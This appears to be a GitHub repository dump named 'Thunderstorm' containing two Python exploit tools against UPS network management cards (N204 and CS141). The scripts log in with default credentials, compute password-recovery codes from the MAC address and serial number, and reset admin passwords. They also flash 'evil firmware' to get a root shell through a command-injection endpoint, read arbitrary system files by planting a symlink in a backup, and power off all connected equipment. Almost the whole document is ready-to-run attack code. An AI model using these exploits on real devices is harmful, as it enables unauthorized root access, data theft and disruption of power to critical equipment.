├── Exploits ├── CS141-Pwn │ ├── Firmware │ │ ├── Pwned │ │ │ └── .deleteme │ │ └── Original │ │ │ └── .deleteme │ └── CS141-Pwn.py └── N204-Pwn │ ├── Firmware │ ├── Pwned │ │ └── .deleteme │ └── Original │ │ └── .deleteme │ └── N204-Pwn.py ├── Thunderstorm.png ├── requirements.txt ├── .github └── FUNDING.yml ├── README.md └── LICENSE /Exploits/CS141-Pwn/Firmware/Pwned/.deleteme: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Exploits/N204-Pwn/Firmware/Pwned/.deleteme: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Exploits/CS141-Pwn/Firmware/Original/.deleteme: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Exploits/N204-Pwn/Firmware/Original/.deleteme: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Thunderstorm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JoelGMSec/Thunderstorm/HEAD/Thunderstorm.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | tarfile 3 | hashlib 4 | shutil 5 | ssl 6 | json 7 | base64 8 | argparse 9 | termcolor 10 | urllib 11 | urllib3 -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: JoelGMSec 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 7 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 8 | liberapay: # Replace with a single Liberapay username 9 | issuehunt: # Replace with a single IssueHunt username 10 | otechie: # Replace with a single Otechie username 11 | custom: ['https://buymeacoff.ee/JoelGMSec','https://darkbyte.net/shop'] 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

](https://www.buymeacoffee.com/joelgmsec)
68 |
--------------------------------------------------------------------------------
/Exploits/N204-Pwn/N204-Pwn.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | #==========================#
3 | # N204-Pwn by @JoelGMSec #
4 | # https://darkbyte.net #
5 | #==========================#
6 |
7 | # Imports
8 | import time, sys, os
9 | import requests, tarfile
10 | import hashlib, shutil
11 | import ssl, json, base64, argparse
12 | from termcolor import colored
13 | from urllib.request import urlopen
14 | from urllib3.exceptions import InsecureRequestWarning
15 |
16 | # Banner
17 | banner = """
18 | _ _ ____ ___ _ _ ____
19 | | \ | |___ \ / _ \| || | | _ \__ ___ __
20 | | \| | __) | | | | || |_ _____| |_) \ \ /\ / / '_ \
21 | | |\ |/ __/| |_| |__ _|_____| __/ \ V V /| | | |
22 | |_| \_|_____|\___/ |_| |_| \_/\_/ |_| |_|
23 |
24 | ------------------- by @JoelGMSec -----------------
25 | """
26 |
27 | # Args & Help
28 | print (colored(banner, "blue"))
29 | parser = argparse.ArgumentParser()
30 | parser.add_argument("-u", "--user", default="admin", help="User to access on web server", type=str)
31 | parser.add_argument("-p", "--password", default="admin", help="Password to access on web server", type=str)
32 | parser.add_argument("-t", "--target", help="URL adress to connect", type=str)
33 | parser.add_argument("-s", "--sleep", help="Sleep time before connect again", type=int)
34 | parser.add_argument("-g", "--generate", help="Generate recovery code from input", type=str)
35 | parser.add_argument("-rs", "--reset", action="store_true",help="Try to reset admin password to default")
36 | parser.add_argument("-sh", "--shell", action="store_true", help="Upload evil firmware and get root shell")
37 | parser.add_argument("-pow", "--poweroff", action="store_true", help="Turns off devices plugged into the UPS")
38 | parser.add_argument("-bak", "--backup", action="store_true", help="Restore to the original firmware backup")
39 | args = parser.parse_args()
40 |
41 | # Headers
42 | headers = {"User-Agent": "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0",
43 | "Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest",
44 | "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "DNT": "1", "Connection": "close"}
45 |
46 | upheads = {"User-Agent": "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0",
47 | "Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest",
48 | "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data", "DNT": "1", "Connection": "close"}
49 |
50 | powhead = {"User-Agent": "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0",
51 | "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Accept-Encoding": "gzip, deflate",
52 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "DNT": "1", "Connection": "close"}
53 |
54 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
55 |
56 | # Main
57 | while True:
58 | try:
59 | if len(sys.argv) < 2:
60 | parser.print_help(sys.stderr)
61 | break
62 |
63 | if args.generate:
64 | recover = "NMP" + args.generate[3:]
65 | recover = hashlib.md5(recover.encode('utf-8')).hexdigest()
66 | recover = hashlib.sha1(recover.encode('utf-8')).hexdigest()
67 | recover = recover[5:12]
68 | print (colored("[+] Recovery code found: " + recover, "green"))
69 | print()
70 | break
71 |
72 | if args.target:
73 | if len(sys.argv) < 4:
74 | print (colored("[!] No action provided! Use -h to see help!\n", "red"))
75 | break
76 |
77 | username = args.user ; password = args.password ; target = args.target
78 | adress = args.target + "/cgi-bin/login.cgi"
79 | params = "username=" + username + "&password=" + password
80 | response = requests.get(adress, params=params, headers=headers, verify=False)
81 | jsondata = response.json()
82 | for data, token in jsondata.items():
83 | cookies = token
84 |
85 | if not "403" in response.text:
86 | output = "[+] Access to " + args.target + " with " + args.user + " user sucessfull!"
87 | print (colored(output, "green"))
88 | adress = args.target + "/cgi-bin/logout.cgi"
89 | response = requests.get(adress, headers=headers, cookies=cookies, verify=False)
90 | access = True
91 |
92 | if args.reset or args.shell or args.poweroff:
93 | pass
94 |
95 | else:
96 | print()
97 | break
98 |
99 | else:
100 | output = "[!] Access to " + args.target + " with " + args.user + " user denied!"
101 | print (colored(output, "red"))
102 | access = False
103 |
104 | if args.reset or args.shell or args.backup:
105 | pass
106 |
107 | else:
108 | print()
109 | break
110 |
111 | if args.poweroff:
112 | print (colored("[>] Turning off all plugged UPS devices!", "yellow"))
113 | adress = args.target + "/cgi-bin/command_shutdown_restore.cgi"
114 | data = "shutdown=60&restore=65535&socket=x"
115 | response = requests.post(adress, headers=powhead, data=data, cookies=cookies, verify=False)
116 | if not args.sleep:
117 | time.sleep(15)
118 | else:
119 | time.sleep(args.sleep)
120 | print (colored("[!] Done!\n", "red"))
121 | break
122 |
123 | if args.reset or args.shell:
124 | if not args.password:
125 | print (colored("[!] No valid user or password provided!\n", "red"))
126 | break
127 |
128 | else:
129 | if not access:
130 | print (colored("[+] Downloading MAC and serial number..", "blue"))
131 | adress = args.target + "/json/netman_data.json"
132 | response = requests.get(adress, headers=headers, verify=False)
133 | jsondata = json.loads(response.text)
134 |
135 | if response.ok:
136 | mac = jsondata["mac_address"]
137 | serial = jsondata["serial_number"]
138 | recover = "NMP:" + mac + ":" + serial
139 |
140 | recover = hashlib.md5(recover.encode('utf-8')).hexdigest()
141 | recover = hashlib.sha1(recover.encode('utf-8')).hexdigest()
142 | recover = recover[5:12]
143 | print (colored("[+] Recovery code found: " + recover, "green"))
144 | time.sleep(3)
145 |
146 | print (colored("[>] Sending password reset..", "yellow"))
147 | adress = args.target + "/cgi-bin/recover2.cgi"
148 | data = "code=" + recover
149 | response = requests.post(adress, headers=headers, data=data, verify=False)
150 | jsondata = response.text
151 |
152 | if not "403" in jsondata:
153 | print (colored("[+] Password reset successfully!", "green"))
154 | if not args.shell:
155 | print()
156 | break
157 | pass
158 | else:
159 | print (colored("[+] Error on password reset :(", "red"))
160 | print()
161 | break
162 | else:
163 | print (colored("[!] Recovery code not found :(\n", "red"))
164 | break
165 |
166 | if args.shell or args.backup:
167 | if not access:
168 | username = "admin" ; password = "admin" ; target = args.target
169 | adress = args.target + "/cgi-bin/login.cgi"
170 | params = "username=" + username + "&password=" + password
171 | response = requests.get(adress, params=params, headers=headers, verify=False)
172 | jsondata = response.json()
173 | for data, token in jsondata.items():
174 | cookies = token
175 |
176 | if args.backup:
177 | print (colored("[>] Uploading original firmware..", "yellow"))
178 | files = {'filename': ('fwapp.204', open('Firmware/Original/fwapp.204', 'rb'), 'application/octet-stream')}
179 | else:
180 | print (colored("[>] Uploading evil firmware..", "yellow"))
181 | files = {'filename': ('fwapp.204', open('Firmware/Pwned/fwapp.204', 'rb'), 'application/octet-stream')}
182 | adress = args.target + "/cgi-bin/upload.cgi"
183 | requests.post(adress, headers=upheads, cookies=cookies, files=files, verify=False)
184 | time.sleep(3)
185 |
186 | print (colored("[+] Waiting for upgrade changes..", "blue"))
187 | adress = args.target + "/json/netman_data.json"
188 | requests.get(adress, headers=headers, verify=False)
189 |
190 | if not args.sleep:
191 | time.sleep(30)
192 | else:
193 | time.sleep(args.sleep)
194 |
195 | if args.backup:
196 | print (colored("[+] Done!", "green"))
197 | break
198 |
199 | print (colored("[+] Checking remote code execution..", "green")) ; time.sleep(30)
200 | adress = args.target + "/cgi-bin/backupCheck.cgi"
201 | response = requests.get(adress, headers=headers, verify=False)
202 |
203 | if response.ok:
204 | print (colored("[!] PWNED!! Enjoy your shell :)\n", "red"))
205 |
206 | while True:
207 | try:
208 | print (colored( "root@netman204 $> ", "green"), end = "")
209 | command = input()
210 | if "exit" in command:
211 | print (colored("Exiting..\n", "red"))
212 | break
213 | adress = args.target + "/cgi-bin/backupCheck.cgi?code=" + command
214 | response = requests.get(adress, headers=headers, verify=False)
215 | output = str(response.content.decode(errors="ignore")).replace("","").replace("","")
216 | print (colored(output, "yellow"))
217 |
218 | except KeyboardInterrupt:
219 | print (colored("\nExiting..\n", "red"))
220 | break
221 | break
222 |
223 | else:
224 | print (colored("[!] Error getting shell!\n", "red"))
225 | break
226 |
227 | except requests.exceptions.RequestException as e:
228 | print (colored("[!] Connection failed!\n", "red"))
229 | break
230 |
231 | except KeyboardInterrupt:
232 | print (colored("\nExiting..\n", "red"))
233 | break
234 |
--------------------------------------------------------------------------------
/Exploits/CS141-Pwn/CS141-Pwn.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | #===========================#
3 | # CS141-Pwn by @JoelGMSec #
4 | # https://darkbyte.net #
5 | #===========================#
6 |
7 | # Imports
8 | import time, sys, os
9 | import requests, tarfile
10 | import hashlib, shutil
11 | import ssl, json, base64, argparse
12 | from termcolor import colored
13 | from urllib.request import urlopen
14 | from urllib3.exceptions import InsecureRequestWarning
15 |
16 | # Banner
17 | banner = """
18 | ____ ____ _ _ _ _ ____
19 | / ___/ ___|/ | || | / | | _ \__ ___ __
20 | | | \___ \| | || |_| |_____| |_) \ \ /\ / / '_ \
21 | | |___ ___) | |__ _| |_____| __/ \ V V /| | | |
22 | \____|____/|_| |_| |_| |_| \_/\_/ |_| |_|
23 |
24 | ------------------ by @JoelGMSec ----------------
25 | """
26 |
27 | # Args & Help
28 | print (colored(banner, "blue"))
29 | parser = argparse.ArgumentParser()
30 | parser.add_argument("-u", "--user", default="admin", help="User to access on web server", type=str)
31 | parser.add_argument("-p", "--password", default="cs141-snmp", help="Password to access on web server", type=str)
32 | parser.add_argument("-t", "--target", help="URL adress to connect", type=str)
33 | parser.add_argument("-s", "--sleep", help="Sleep time before connect again", type=int)
34 | parser.add_argument("-up", "--upload", action="store_true", help="Upload index.html file to upload folder")
35 | parser.add_argument("-del", "--delete", action="store_true", help="Delete index.html file on upload folder")
36 | parser.add_argument("-down", "--download", help="System file path to download", type=str)
37 | parser.add_argument("-rs", "--reset", action="store_true", help="Try to reset admin password to default")
38 | parser.add_argument("-sh", "--shell", action="store_true", help="Upload evil firmware and get root shell")
39 | parser.add_argument("-pow", "--poweroff", action="store_true", help="Turns off devices plugged into the UPS")
40 | parser.add_argument("-bak", "--backup", action="store_true", help="Restore to the original firmware backup")
41 | args = parser.parse_args()
42 |
43 | # Headers
44 | b64data = args.user + ":" + args.password
45 | b64auth = base64.b64encode(b64data.encode('ascii')).decode('ascii')
46 | cookies = ""
47 |
48 | headers = {"User-Agent": "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0",
49 | "Accept": "application/json, text/plain, */*", "Authorization": "Basic " + b64auth,
50 | "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "DNT": "1", "Connection": "close"}
51 |
52 | defhead = {"User-Agent": "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0",
53 | "Accept": "application/json, text/plain, */*", "Authorization": "Basic " + "YWRtaW46Y3MxNDEtc25tcAo=",
54 | "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "DNT": "1", "Connection": "close"}
55 |
56 | dwnhead = {"User-Agent": "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0",
57 | "Accept": "application/json, text/plain, */*", "Authorization": "Basic " + b64auth,
58 | "Accept-Encoding": "gzip, deflate", "Content-Type": "application/gzip", "DNT": "1", "Connection": "close"}
59 |
60 | nohead = {"User-Agent": "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0",
61 | "Accept": "application/json, text/plain, */*", "X-HTTP-Method-Override": "PUT",
62 | "Accept-Encoding": "gzip, deflate", "Content-Type": "text/html", "DNT": "1", "Connection": "close"}
63 |
64 | powhead = {"User-Agent": "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0",
65 | "Accept": "application/json, text/plain, */*", "X-HTTP-Method-Override": "PUT",
66 | "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "DNT": "1", "Connection": "close"}
67 |
68 | defaultpass="$2$4CDE44A50692C926C21E457D8C1C7DAE54FCC687D71947418C3470CCED708BA4DDA084CE2068D7CD4103ECC212A64F8C3A7BAA3C041E655A50CD78D0051B66CF"
69 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
70 |
71 | # Main
72 | while True:
73 | try:
74 | if len(sys.argv) < 2:
75 | parser.print_help(sys.stderr)
76 | break
77 |
78 | if args.target:
79 | if len(sys.argv) < 4:
80 | print (colored("[!] No action provided! Use -h to see help!\n", "red"))
81 | break
82 |
83 | adress = args.target + "/api/login"
84 | username = args.user ; password = args.password ; target = args.target
85 | jsondata = {"anonymous": "", "password": password, "userName": username}
86 | response = requests.post(adress, headers=headers, json=jsondata, verify=False)
87 | cookies = (response.cookies) ; cookies_dict = cookies.get_dict()
88 |
89 | if response.ok:
90 | output = "[+] Access to " + args.target + " with " + args.user + " user sucessfull!"
91 | print (colored(output, "green"))
92 | access = True
93 |
94 | if args.upload or args.delete or args.download or args.reset or args.shell or args.poweroff:
95 | pass
96 |
97 | else:
98 | print()
99 | break
100 |
101 | else:
102 | output = "[!] Access to " + args.target + " with " + args.user + " user denied!"
103 | print (colored(output, "red"))
104 | access = False
105 |
106 | if args.upload or args.delete or args.download or args.reset or args.shell or args.backup:
107 | pass
108 |
109 | else:
110 | print()
111 | break
112 |
113 | if args.poweroff:
114 | print (colored("[>] Turning off all plugged UPS devices!", "yellow"))
115 | adress = args.target + "/api/devices/ups/control"
116 | jsondata = {"code":"upsCtl","params":{"cmdId":261}}
117 | response = requests.post(adress, headers=powhead, json=jsondata, cookies=cookies, verify=False)
118 | if not args.sleep:
119 | time.sleep(15)
120 | else:
121 | time.sleep(args.sleep)
122 | print (colored("[!] Done!\n", "red"))
123 | break
124 |
125 | if args.shell or args.backup:
126 | if args.backup:
127 | print (colored("[>] Uploading original firmware..", "yellow"))
128 | backup = open("Firmware/Original/update082.tar.gz", "rb") ; data = backup.read()
129 | else:
130 | print (colored("[>] Uploading evil firmware..", "yellow"))
131 | backup = open("Firmware/Pwned/update082.tar.gz", "rb") ; data = backup.read()
132 | adress = args.target + "/upload/update082.tar.gz?reset=false"
133 | requests.put(adress, headers=dwnhead, cookies=cookies, data=data, verify=False)
134 |
135 | print (colored("[+] Waiting for upgrade changes..", "blue"))
136 | adress = args.target + "/cgi-bin-unsafe/getUpdateStatus.sh"
137 | requests.get(adress, headers=headers, cookies=cookies, verify=False)
138 | if not args.sleep:
139 | time.sleep(30)
140 | else:
141 | time.sleep(args.sleep)
142 |
143 | if args.backup:
144 | print (colored("[+] Done!", "green"))
145 | break
146 |
147 | print (colored("[+] Checking remote code execution..", "green")) ; time.sleep(30)
148 | adress = args.target + "/cgi-bin-unsafe/backupCheck.sh?code=privesc.sh"
149 | response = requests.get(adress, headers=headers, cookies=cookies, verify=False)
150 |
151 | if response.ok:
152 | print (colored("[!] PWNED!! Enjoy your shell :)\n", "red"))
153 |
154 | while True:
155 | try:
156 | print (colored( "root@cs141 $> ", "green"), end = "")
157 | command = input() ; command = "su -c " + command
158 | if "exit" in command:
159 | print (colored("Exiting..\n", "red"))
160 | break
161 | adress = args.target + "/cgi-bin-unsafe/backupCheck.sh?code=" + command
162 | response = requests.get(adress, headers=headers, cookies=cookies, verify=False)
163 | output = str(response.content.decode(errors="ignore")).replace("","").replace("","")
164 | print (colored(output, "yellow"))
165 |
166 | except KeyboardInterrupt:
167 | print (colored("\nExiting..\n", "red"))
168 | break
169 | break
170 |
171 | else:
172 | print (colored("[!] Error getting shell!\n", "red"))
173 | break
174 |
175 | if args.download or args.reset:
176 | if access == False:
177 | print (colored("[>] Trying to download backup configuration..", "yellow"))
178 | adress = args.target + "/cgi-bin/backup.sh"
179 | response = requests.get(adress, headers=defhead, cookies=cookies_dict, stream=True, verify=False)
180 | download = response.raw.read()
181 | f = open("backup.tar.gz", "wb") ; f.write(download) ; f.close()
182 |
183 | if access == True:
184 | print (colored("[>] Downloading backup configuration..", "yellow"))
185 | adress = args.target + "/cgi-bin/backup.sh"
186 | response = requests.get(adress, headers=headers, cookies=cookies_dict, stream=True, verify=False)
187 | download = response.raw.read()
188 | f = open("backup.tar.gz", "wb") ; f.write(download) ; f.close()
189 |
190 | if response.ok:
191 | print (colored("[+] Backup.tar.gz file downloaded successfully!", "blue"))
192 | path = os.getcwd() ; systempath = path + "/backup/gxserve/system.tar"
193 |
194 | try:
195 | os.makedirs("backup", exist_ok=True)
196 | with tarfile.open("backup.tar.gz", "r") as t:
197 | t.extractall("backup")
198 | os.makedirs("system", exist_ok=True)
199 | with tarfile.open(systempath, "r") as t:
200 | t.extractall("system")
201 |
202 | if args.reset:
203 | file = path + "/system/etc/gxserve/users.json"
204 | with open(file, "r") as f:
205 | data = json.load(f)
206 | for user in data["local"]["users"]:
207 | user["password"] = defaultpass
208 | data["admin"] = defaultpass
209 | with open(file, "w") as f:
210 | json.dump(data, f, indent = 2)
211 | f.close()
212 |
213 | else:
214 | file = path + "/system/etc/gxserve/rccmd.pem"
215 | os.makedirs("Download", exist_ok=True)
216 | os.remove(file)
217 | os.symlink(args.download, file)
218 |
219 | except OSError:
220 | pass
221 |
222 | if args.reset:
223 | print (colored("[>] Replacing users.json & calculating MD5 checksum..", "yellow"))
224 | else:
225 | print (colored("[>] Creating symbolic link & calculating MD5 checksum..", "yellow"))
226 | with tarfile.open(systempath, mode="w") as archive:
227 | archive.add(path + "/system/", arcname='')
228 | md5 = hashlib.md5(open(systempath,"rb").read()).hexdigest()
229 | checksumpath = path + "/backup/gxserve/system.tar.md5"
230 | checksumfile = open(checksumpath, "w")
231 | checksumfile.write(md5 + " system.tar\n")
232 | checksumfile.close()
233 |
234 | with tarfile.open("backup.tar.gz", mode="w:gz") as archive:
235 | archive.add(path + "/backup/", arcname='.')
236 | print (colored("[+] Evil backup created successfully!", "green"))
237 |
238 | adress = args.target + "/upload/backup.tar.gz?restore_network=false"
239 | backup = open("backup.tar.gz", "rb") ; data = backup.read()
240 | requests.put(adress, headers=dwnhead, cookies=cookies, data=data, verify=False)
241 | print (colored("[>] Sending evil backup & restore process..", "yellow"))
242 | adress = args.target + "/cgi-bin-unsafe/getRestoreStatus.sh"
243 | requests.get(adress, headers=headers, cookies=cookies, verify=False)
244 | print (colored("[+] Waiting for update changes..", "blue"))
245 |
246 | if not args.sleep:
247 | time.sleep(30)
248 | else:
249 | time.sleep(args.sleep)
250 |
251 | if not args.reset:
252 | print (colored("[>] Downloading backup again..", "yellow"))
253 | adress = args.target + "/api/login"
254 | username = args.user ; password = args.password ; target = args.target
255 | jsondata = {"anonymous": "", "password": password, "userName": username}
256 | response = requests.post(adress, headers=headers, json=jsondata, verify=False)
257 | cookies = (response.cookies) ; cookies_dict = cookies.get_dict()
258 | os.remove("backup.tar.gz")
259 |
260 | adress = args.target + "/cgi-bin/backup.sh"
261 | response = requests.get(adress, headers=headers, cookies=cookies_dict, stream=True, verify=False)
262 | download = response.raw.read()
263 | f = open("backup.tar.gz", "wb") ; f.write(download) ; f.close()
264 |
265 | print (colored("[+] Backup.tar.gz file downloaded successfully!", "blue"))
266 | deletebackup = path + "/backup" ; deletesystem = path + "/system"
267 | shutil.rmtree(deletebackup, ignore_errors=True)
268 | shutil.rmtree(deletesystem, ignore_errors=True)
269 |
270 | try:
271 | os.makedirs("backup", exist_ok=True)
272 | with tarfile.open("backup.tar.gz", "r") as t:
273 | t.extractall("backup")
274 | os.makedirs("system", exist_ok=True)
275 | with tarfile.open(systempath, "r") as t:
276 | t.extractall("system")
277 | downloadfile = "".join(args.download.rsplit("/")[-1:])
278 | shutil.move(path + "/system/etc/gxserve/rccmd.pem", path + "/Download/" + downloadfile)
279 | output = "[>] Extracting " + downloadfile + " file to download folder.."
280 | print (colored(output, "yellow"))
281 |
282 | except OSError:
283 | print (colored("[+] File does not exists on remote host!", "red"))
284 | pass
285 |
286 | if args.reset:
287 | print (colored("[!] Admin password changed to default: cs141-snmp", "red"))
288 | deletebackup = path + "/backup" ; deletesystem = path + "/system"
289 | shutil.rmtree(deletebackup, ignore_errors=True)
290 | shutil.rmtree(deletesystem, ignore_errors=True)
291 | os.remove("backup.tar.gz")
292 | print (colored("[+] Done!\n", "green"))
293 | break
294 |
295 | else:
296 | print (colored("[!] Error on file download!\n", "red"))
297 | break
298 |
299 | if args.upload:
300 | adress = args.target + "/upload/index.html"
301 | data = ""
302 | response = requests.put(adress, headers=nohead, data=data, verify=False)
303 |
304 | if "201" in str(response):
305 | output = "[+] File " + str(adress) + " upload success!\n"
306 | print (colored(output, "green"))
307 | elif "204" in str(response):
308 | output = "[+] File " + str(adress) + " already exists!\n"
309 | print (colored(output, "blue"))
310 | else:
311 | print (colored("[!] Error on file upload!\n", "red"))
312 | break
313 |
314 | if args.delete:
315 | adress = args.target + "/upload/index.html"
316 | response = requests.delete(adress, headers=nohead, verify=False)
317 |
318 | if "204" in str(response):
319 | output = "[+] File " + str(adress) + " delete success!\n"
320 | print (colored(output, "green"))
321 | elif "404" in str(response):
322 | output = "[+] File " + str(adress) + " does not exists!\n"
323 | print (colored(output, "blue"))
324 | else:
325 | print (colored("[!] Error on file deletion!\n", "red"))
326 | break
327 |
328 | except requests.exceptions.RequestException as e:
329 | print (colored("[!] Connection failed!\n", "red"))
330 | break
331 |
332 | except KeyboardInterrupt:
333 | print (colored("\nExiting..\n", "red"))
334 | break
335 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.